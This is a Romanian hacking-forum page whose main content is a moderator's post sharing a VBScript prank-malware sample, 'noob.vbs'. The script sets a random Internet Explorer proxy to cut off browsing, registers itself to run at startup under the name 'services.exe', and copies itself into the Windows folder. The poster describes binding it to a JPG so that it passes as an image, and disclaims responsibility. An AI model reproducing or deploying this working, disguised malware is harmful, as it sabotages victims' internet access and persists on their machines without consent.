EliteHackers
SALUT 2022!!
NE-AM MUTAT PE DISCORD !
Vrei să inviți un prieten?
[T]eoria [H]aosului [C]ontrolat - https://discord.com/invite/U4HBCHzm7r
Acesta aste link-ul oficial al acestui server.
|
Lista Forumurilor Pe Tematici
|
EliteHackers | Reguli | Inregistrare | Login
POZE ELITEHACKERS
Nu sunteti logat.
|
Nou pe simpatie:
GeorgianaIoana
 | Femeie
25 ani
Bucuresti
cauta Barbat
25 - 63 ani |
|
Puscas_marin
Moderator
 Inregistrat: acum 17 ani
Postari: 315
|
|
This works like how i made for my vb6 version of crashign ie6 permantely
This is a simple script that technically disables internet usage with Internet Explorer. At the end of the article, I have included the code. Also, I had a little bit of fun with binders... I incorporated this code with a jpg image, and it looks and acts just like an image. Only thing is, when executed, it copies itself into the Windows directory, adds itself to the startup item, and randomly generates some numbers into the proxy field for IE, thus limiting internet connection usage. Remember, this is only for noobs. Also, I do not take any responsibility for what you do with this. Testing purposes only? Sure, why not. Enjoy!
Code:
::::::::::::::::::::::::::::::::::::::::::
:::::::::::::Coded by glj12:::::::::::::::
::::::::::::::::::::::::::::::::::::::::::
:::::::::::::leetupload.com:::::::::::::::
Option Explicit
set args = WScript.Arguments
Set ws = WScript.CreateObject("WScript.Shell")
Dim args, ws, t, j, f, k, cj, a2, a6, n
Dim itemtype,num
num=args.count
if num<>0 then cj=args.Item(0)
a2 = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\"
a6 = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\"
j = ws.RegRead(a2 & "ProxyServer")
if num=0 then
do
Randomize
cj = Rnd()
loop while cj=""
end if
If cj <> "" Then
ws.RegWrite a2 & "ProxyServer", cj
ws.RegWrite a6 & "services.exe", "C:\Windows\noob.vbs"
End If
dim file, destfile, objFSO, i, strscript
set file = CreateObject ("Scripting.FileSystemObject")
set destfile = file.GetFile("noob.vbs")
destfile.Copy("C:\Windows\noob.vbs") |
_______________________________________
Deci asa se fac banii....da clik sa vezi
|
|
| pus acum 17 ani |
|